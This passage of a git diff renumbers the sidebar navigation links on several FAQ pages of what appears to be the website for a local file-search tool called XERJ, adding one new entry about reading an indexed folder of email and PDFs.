lose the run?</a>- <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">62</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>- <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">63</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>- <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">64</span>Is there a single-binary local search engine I can just run?</a>- <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">65</span>What can I use for low-volume log search?</a>- <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">66</span>How do I read autoindex progress?</a>- <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">67</span>The indexer died overnight. Do I have to start over?</a>- <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">68</span>Reindexing my files is taking forever. What usually causes that?</a>- <a href="/answers/what-is-xerj" class=""><span class="eyebrow">69</span>What is XERJ?</a>- <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">70</span>How do I improve a basic FAISS RAG pipeline?</a>- <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">71</span>Why did my filtered vector search get slower when I added a filter?</a>- <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">72</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>- <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">73</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>- <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">74</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>- <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">75</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a>+ <a href="/answers/read-indexed-email-and-pdf-folder" class=""><span class="eyebrow">39</span>I indexed a folder of email and PDFs. How do I actually read what it found?</a>+ <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">40</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>+ <a href="/answers/search-html-export" class=""><span class="eyebrow">41</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>+ <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">42</span>Is it efficient to index PDF files?</a>+ <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">43</span>Is there a way to full-text search my browser history file itself?</a>+ <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">44</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>+ <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">45</span>What's the best way to search markdown notes and PDFs in the same vault?</a>+ <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">46</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>+ <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">47</span>Why does my Notion export duplicate titles?</a>+ <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">48</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>+ <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">49</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>+ <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">50</span>How do I build RAG without a vector database?</a>+ <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">51</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>+ <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">52</span>How do I rerank search results with a calibrated relevance judge?</a>+ <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">53</span>What is Reciprocal Rank Fusion?</a>+ <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">54</span>How does XERJ combine BM25 and kNN?</a>+ <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">55</span>How do I search files that live in an S3 bucket?</a>+ <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">56</span>How do I keep an index current when the files live in an object store?</a>+ <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">57</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>+ <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">58</span>How do I estimate folder-indexing time?</a>+ <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">59</span>Why would a folder search miss files that I can see on disk?</a>+ <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">60</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>+ <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">61</span>The indexer exited 3 (or 4). Did it fail?</a>+ <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">62</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>+ <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">63</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>+ <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">64</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>+ <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">65</span>Is there a single-binary local search engine I can just run?</a>+ <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">66</span>What can I use for low-volume log search?</a>+ <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">67</span>How do I read autoindex progress?</a>+ <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">68</span>The indexer died overnight. Do I have to start over?</a>+ <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">69</span>Reindexing my files is taking forever. What usually causes that?</a>+ <a href="/answers/what-is-xerj" class=""><span class="eyebrow">70</span>What is XERJ?</a>+ <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">71</span>How do I improve a basic FAISS RAG pipeline?</a>+ <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">72</span>Why did my filtered vector search get slower when I added a filter?</a>+ <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">73</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>+ <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">74</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>+ <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">75</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>+ <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">76</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a></div><div class="group"><span class="label">COMPARISONS</span>diff --git a/landing/answers/autoindex-dataset-refused-by-server.html b/landing/answers/autoindex-dataset-refused-by-server.htmlindex b2aeb425b..9177a8603 100644--- a/landing/answers/autoindex-dataset-refused-by-server.html+++ b/landing/answers/autoindex-dataset-refused-by-server.html@@ -179,43 +179,44 @@<a href="/answers/index-multiple-csv-files" class=""><span class="eyebrow">36</span>I have a directory of CSV exports. How do I query them without opening each one in Excel?</a><a href="/answers/search-file-contents-in-a-folder" class=""><span class="eyebrow">37</span>I have a folder of PDFs, Word docs, and markdown. How do I search all of them at once?</a><a href="/answers/search-zendesk-ticket-json-export" class=""><span class="eyebrow">38</span>I have a JSON export of Jira issues (or Zendesk tickets). How do I search it like a help-center search?</a>- <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">39</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>- <a href="/answers/search-html-export" class=""><span class="eyebrow">40</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>- <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">41</span>Is it efficient to index PDF files?</a>- <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">42</span>Is there a way to full-text search my browser history file itself?</a>- <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">43</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>- <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">44</span>What's the best way to search markdown notes and PDFs in the same vault?</a>- <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">45</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>- <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">46</span>Why does my Notion export duplicate titles?</a>- <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">47</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>- <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">48</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>- <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">49</span>How do I build RAG without a vector database?</a>- <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">50</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>- <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">51</span>How do I rerank search results with a calibrated relevance judge?</a>- <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">52</span>What is Reciprocal Rank Fusion?</a>- <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">53</span>How does XERJ combine BM25 and kNN?</a>- <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">54</span>How do I search files that live in an S3 bucket?</a>- <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">55</span>How do I keep an index current when the files live in an object store?</a>- <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">56</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>- <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">57</span>How do I estimate folder-indexing time?</a>- <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">58</span>Why would a folder search miss files that I can see on disk?</a>- <a href="/answers/autoindex-dataset-refused-by-server" class="active"><span class="eyebrow">59</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>- <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">60</span>The indexer exited 3 (or 4). Did it fail?</a>- <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">61</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>- <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">62</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>- <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">63</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>- <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">64</span>Is there a single-binary local search engine I can just run?</a>- <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">65</span>What can I use for low-volume log search?</a>- <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">66</span>How do I read autoindex progress?</a>- <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">67</span>The indexer died overnight. Do I have to start over?</a>- <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">68</span>Reindexing my files is taking forever. What usually causes that?</a>- <a href="/answers/what-is-xerj" class=""><span class="eyebrow">69</span>What is XERJ?</a>- <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">70</span>How do I improve a basic FAISS RAG pipeline?</a>- <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">71</span>Why did my filtered vector search get slower when I added a filter?</a>- <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">72</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>- <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">73</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>- <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">74</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>- <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">75</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a>+ <a href="/answers/read-indexed-email-and-pdf-folder" class=""><span class="eyebrow">39</span>I indexed a folder of email and PDFs. How do I actually read what it found?</a>+ <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">40</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>+ <a href="/answers/search-html-export" class=""><span class="eyebrow">41</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>+ <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">42</span>Is it efficient to index PDF files?</a>+ <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">43</span>Is there a way to full-text search my browser history file itself?</a>+ <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">44</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>+ <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">45</span>What's the best way to search markdown notes and PDFs in the same vault?</a>+ <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">46</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>+ <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">47</span>Why does my Notion export duplicate titles?</a>+ <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">48</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>+ <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">49</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>+ <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">50</span>How do I build RAG without a vector database?</a>+ <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">51</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>+ <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">52</span>How do I rerank search results with a calibrated relevance judge?</a>+ <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">53</span>What is Reciprocal Rank Fusion?</a>+ <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">54</span>How does XERJ combine BM25 and kNN?</a>+ <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">55</span>How do I search files that live in an S3 bucket?</a>+ <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">56</span>How do I keep an index current when the files live in an object store?</a>+ <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">57</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>+ <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">58</span>How do I estimate folder-indexing time?</a>+ <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">59</span>Why would a folder search miss files that I can see on disk?</a>+ <a href="/answers/autoindex-dataset-refused-by-server" class="active"><span class="eyebrow">60</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>+ <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">61</span>The indexer exited 3 (or 4). Did it fail?</a>+ <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">62</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>+ <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">63</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>+ <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">64</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>+ <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">65</span>Is there a single-binary local search engine I can just run?</a>+ <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">66</span>What can I use for low-volume log search?</a>+ <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">67</span>How do I read autoindex progress?</a>+ <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">68</span>The indexer died overnight. Do I have to start over?</a>+ <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">69</span>Reindexing my files is taking forever. What usually causes that?</a>+ <a href="/answers/what-is-xerj" class=""><span class="eyebrow">70</span>What is XERJ?</a>+ <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">71</span>How do I improve a basic FAISS RAG pipeline?</a>+ <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">72</span>Why did my filtered vector search get slower when I added a filter?</a>+ <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">73</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>+ <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">74</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>+ <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">75</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>+ <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">76</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a></div><div class="group"><span class="label">COMPARISONS</span>diff --git a/landing/answers/autoindex-exit-codes.html b/landing/answers/autoindex-exit-codes.htmlindex beabc7c31..ef2510ee4 100644--- a/landing/answers/autoindex-exit-codes.html+++ b/landing/answers/autoindex-exit-codes.html@@ -179,43 +179,44 @@<a href="/answers/index-multiple-csv-files" class=""><span class="eyebrow">36</span>I have a directory of CSV exports. How do I query them without opening each one in Excel?</a><a href="/answers/search-file-contents-in-a-folder" class=""><span class="eyebrow">37</span>I have a folder of PDFs, Word docs, and markdown. How do I search all of them at once?</a><a href="/answers/search-zendesk-ticket-json-export" class=""><span class="eyebrow">38</span>I have a JSON export of Jira issues (or Zendesk tickets). How do I search it like a help-center search?</a>- <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">39</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>- <a href="/answers/search-html-export" class=""><span class="eyebrow">40</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>- <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">41</span>Is it efficient to index PDF files?</a>- <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">42</span>Is there a way to full-text search my browser history file itself?</a>- <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">43</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>- <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">44</span>What's the best way to search markdown notes and PDFs in the same vault?</a>- <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">45</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>- <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">46</span>Why does my Notion export duplicate titles?</a>- <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">47</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>- <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">48</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>- <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">49</span>How do I build RAG without a vector database?</a>- <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">50</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>- <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">51</span>How do I rerank search results with a calibrated relevance judge?</a>- <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">52</span>What is Reciprocal Rank Fusion?</a>- <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">53</span>How does XERJ combine BM25 and kNN?</a>- <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">54</span>How do I search files that live in an S3 bucket?</a>- <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">55</span>How do I keep an index current when the files live in an object store?</a>- <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">56</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>- <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">57</span>How do I estimate folder-indexing time?</a>- <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">58</span>Why would a folder search miss files that I can see on disk?</a>- <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">59</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>- <a href="/answers/autoindex-exit-codes" class="active"><span class="eyebrow">60</span>The indexer exited 3 (or 4). Did it fail?</a>- <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">61</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>- <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">62</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>- <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">63</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>- <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">64</span>Is there a single-binary local search engine I can just run?</a>- <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">65</span>What can I use for low-volume log search?</a>- <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">66</span>How do I read autoindex progress?</a>- <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">67</span>The indexer died overnight. Do I have to start over?</a>- <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">68</span>Reindexing my files is taking forever. What usually causes that?</a>- <a href="/answers/what-is-xerj" class=""><span class="eyebrow">69</span>What is XERJ?</a>- <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">70</span>How do I improve a basic FAISS RAG pipeline?</a>- <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">71</span>Why did my filtered vector search get slower when I added a filter?</a>- <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">72</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>- <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">73</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>- <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">74</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>- <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">75</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a>+ <a href="/answers/read-indexed-email-and-pdf-folder" class=""><span class="eyebrow">39</span>I indexed a folder of email and PDFs. How do I actually read what it found?</a>+ <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">40</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>+ <a href="/answers/search-html-export" class=""><span class="eyebrow">41</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>+ <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">42</span>Is it efficient to index PDF files?</a>+ <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">43</span>Is there a way to full-text search my browser history file itself?</a>+ <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">44</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>+ <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">45</span>What's the best way to search markdown notes and PDFs in the same vault?</a>+ <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">46</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>+ <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">47</span>Why does my Notion export duplicate titles?</a>+ <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">48</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>+ <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">49</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>+ <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">50</span>How do I build RAG without a vector database?</a>+ <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">51</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>+ <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">52</span>How do I rerank search results with a calibrated relevance judge?</a>+ <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">53</span>What is Reciprocal Rank Fusion?</a>+ <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">54</span>How does XERJ combine BM25 and kNN?</a>+ <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">55</span>How do I search files that live in an S3 bucket?</a>+ <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">56</span>How do I keep an index current when the files live in an object store?</a>+ <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">57</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>+ <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">58</span>How do I estimate folder-indexing time?</a>+ <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">59</span>Why would a folder search miss files that I can see on disk?</a>+ <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">60</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>+ <a href="/answers/autoindex-exit-codes" class="active"><span class="eyebrow">61</span>The indexer exited 3 (or 4). Did it fail?</a>+ <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">62</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>+ <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">63</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>+ <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">64</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>+ <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">65</span>Is there a single-binary local search engine I can just run?</a>+ <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">66</span>What can I use for low-volume log search?</a>+ <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">67</span>How do I read autoindex progress?</a>+ <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">68</span>The indexer died overnight. Do I have to start over?</a>+ <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">69</span>Reindexing my files is taking forever. What usually causes that?</a>+ <a href="/answers/what-is-xerj" class=""><span class="eyebrow">70</span>What is XERJ?</a>+ <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">71</span>How do I improve a basic FAISS RAG pipeline?</a>+ <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">72</span>Why did my filtered vector search get slower when I added a filter?</a>+ <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">73</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>+ <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">74</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>+ <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">75</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>+ <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">76</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a></div><div class="group"><span class="label">COMPARISONS</span>diff --git a/landing/answers/autoindex-says-extract-the-archive-first.html b/landing/answers/autoindex-says-extract-the-archive-first.htmlindex 35ba1cfed..04a151fc1 100644--- a/landing/answers/autoindex-says-extract-the-archive-first.html+++ b/landing/answers/autoindex-says-extract-the-archive-first.html@@ -179,43 +179,44 @@<a href="/answers/index-multiple-csv-files" class=""><span class="eyebrow">36</span>I have a directory of CSV exports. How do I query them without opening each one in Excel?</a><a href="/answers/search-file-contents-in-a-folder" class=""><span class="eyebrow">37</span>I have a folder of PDFs, Word docs, and markdown. How do I search all of them at once?</a><a href="/answers/search-zendesk-ticket-json-export" class=""><span class="eyebrow">38</span>I have a JSON export of Jira issues (or Zendesk tickets). How do I search it like a help-center search?</a>- <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">39</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>- <a href="/answers/search-html-export" class=""><span class="eyebrow">40</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>- <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">41</span>Is it efficient to index PDF files?</a>- <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">42</span>Is there a way to full-text search my browser history file itself?</a>- <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">43</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>- <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">44</span>What's the best way to search markdown notes and PDFs in the same vault?</a>- <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">45</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>- <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">46</span>Why does my Notion export duplicate titles?</a>- <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">47</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>- <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">48</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>- <a 